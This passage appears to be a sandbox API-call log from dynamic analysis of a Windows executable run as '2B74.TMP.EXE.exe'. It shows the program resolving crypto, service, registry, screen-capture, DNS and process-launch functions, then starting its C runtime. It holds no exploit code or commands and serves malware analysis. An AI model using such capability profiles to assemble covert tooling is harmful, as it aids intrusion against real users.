returned 0x76c33c42 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0030.930] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="FlushConsoleInputBuffer") returned 0x76cd7a9f [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0030.931] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleMode") returned 0x76c4a77d [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x76cd793f [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="PeekConsoleInputA") returned 0x76cd6f0d [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0030.932] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0030.933] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleInputA") returned 0x76cd6f53 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0030.934] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0030.935] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0030.935] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0030.936] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0030.937] GetProcAddress (hModule=0x74f40000, lpProcName="GetProcessWindowStation") returned 0x74f59eea [0030.937] GetProcAddress (hModule=0x74f40000, lpProcName="GetUserObjectInformationW") returned 0x74f58068 [0030.937] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0030.937] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0030.937] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0030.937] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0030.937] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="ReportEventA") returned 0x74d43ee9 [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="RegisterEventSourceA") returned 0x74d52d46 [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="DeregisterEventSource") returned 0x74d535dd [0030.937] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0030.938] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0030.939] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0030.939] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0032.680] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0032.680] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0032.681] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0032.681] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0032.681] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0032.681] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0032.681] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0032.681] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0032.681] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0032.681] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0032.681] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0032.682] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0032.682] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74af0000 [0032.881] GetProcAddress (hModule=0x74af0000, lpProcName="GetAdaptersInfo") returned 0x74af9263 [0032.881] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0033.089] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0033.089] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0033.089] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0033.090] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a90000 [0033.263] GetProcAddress (hModule=0x74a90000, lpProcName="DnsFree") returned 0x74a9436b [0033.264] GetProcAddress (hModule=0x74a90000, lpProcName="DnsQuery_W") returned 0x74aa572c [0033.264] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0033.264] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0033.264] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="GetObjectA") returned 0x75ae85d4 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="GetDeviceCaps") returned 0x75ae4de0 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="GetBitmapBits") returned 0x75aec155 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0033.264] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteDC") returned 0x75ae58b3 [0033.265] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateDCA") returned 0x75ae7bcc [0033.265] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0033.265] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0033.265] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749d0000 [0033.455] GetProcAddress (hModule=0x749d0000, lpProcName="atexit") returned 0x749ec544 [0033.456] atexit (param_1=0x4d40920) returned 0 [0033.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f200 | out: lpSystemTimeAsFileTime=0x18f200*(dwLowDateTime=0x84ac9e20, dwHighDateTime=0x1d56c59)) [0033.456] GetCurrentThreadId () returned 0x99c [0033.456] GetCurrentProcessId () returned 0x998 [0033.456] QueryPerformanceCounter (in: lpPerformanceCount=0x18f1f8 | out: lpPerformanceCount=0x18f1f8*=15370805112) returned 1 [0033.456] GetStartupInfoW (in: lpStartupInfo=0x18f190 | out: lpStartupInfo=0x18f190*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0033.456] GetProcessHeap () returned 0x3840000 [0033.456] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.456] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0033.456] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0033.456] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0033.456] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0033.457] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0033.458] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0033.459] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0033.459] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0033.459] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0033.459] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0033.459] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3bc) returned 0x38628d0 [0033.459] GetCurrentThreadId () returned 0x99c [0033.459] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x18) returned 0x38529b8 [0033.459] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x800) returned 0x3862c98 [0033.459] GetStartupInfoW (in: lpStartupInfo=0x18f160 | out: lpStartupInfo=0x18f160*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4242d8, hStdOutput=0x11522eca, hStdError=0x7c)) [0033.460] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0033.460] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0033.460] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0033.460] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " [0033.460] GetEnvironmentStringsW () returned 0x38634a0* [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xaca) returned 0x3863f78 [0033.460] FreeEnvironmentStringsW (penv=0x38634a0) returned 1 [0033.460] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe")) returned 0x36 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x76) returned 0x3853468 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x98) returned 0x3864a50 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3e) returned 0x3858688 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x6c) returned 0x3864af0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x6e) returned 0x3864b68 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x78) returned 0x38534e8 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x62) returned 0x3864be0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2e) returned 0x385e7c0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x48) returned 0x385a5b0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x28) returned 0x385e0b0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1a) returned 0x38621d8 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x4a) returned 0x3864c50 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x72) returned 0x3853568 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x30) returned 0x385e7f8 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2e) returned 0x385e830 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1c) returned 0x3862200 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0xd2) returned 0x3864ca8 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x7c) returned 0x3864d88 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x36) returned 0x3864e10 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3a) returned 0x38586d0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x90) returned 0x3864e50 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x24) returned 0x385e0e0 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x30) returned 0x385e868 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x36) returned 0x3864ee8 [0033.460] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x48) returned 0x385a600 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x52) returned 0x3864f28 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3c) returned 0x3858718 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x82) returned 0x38634a0 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2e) returned 0x385e8a0 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1e) returned 0x3862228 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2c) returned 0x385e8d8 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x54) returned 0x3864f88 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x52) returned 0x3863530 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2a) returned 0x385e910 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3c) returned 0x3858760 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x54) returned 0x3865000 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x24) returned 0x385e110 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x30) returned 0x385e948 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x8c) returned 0x3863590 [0033.461] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3863f78 | out: hHeap=0x3840000) returned 1 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x800) returned 0x3863628 [0033.461] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x80) returned 0x3863e30 [0033.461] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] GetACP () returned 0x4e4 [0033.462] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x220) returned 0x3863eb8 [0033.462] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] IsValidCodePage (CodePage=0x4e4) returned 1 [0033.462] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f154 | out: lpCPInfo=0x18f154) returned 1 [0033.462] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ec1c | out: lpCPInfo=0x18ec1c) returned 1 [0033.462] GetLastError () returned 0x0 [0033.462] SetLastError (dwErrCode=0x0) [0033.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e998, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.462] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 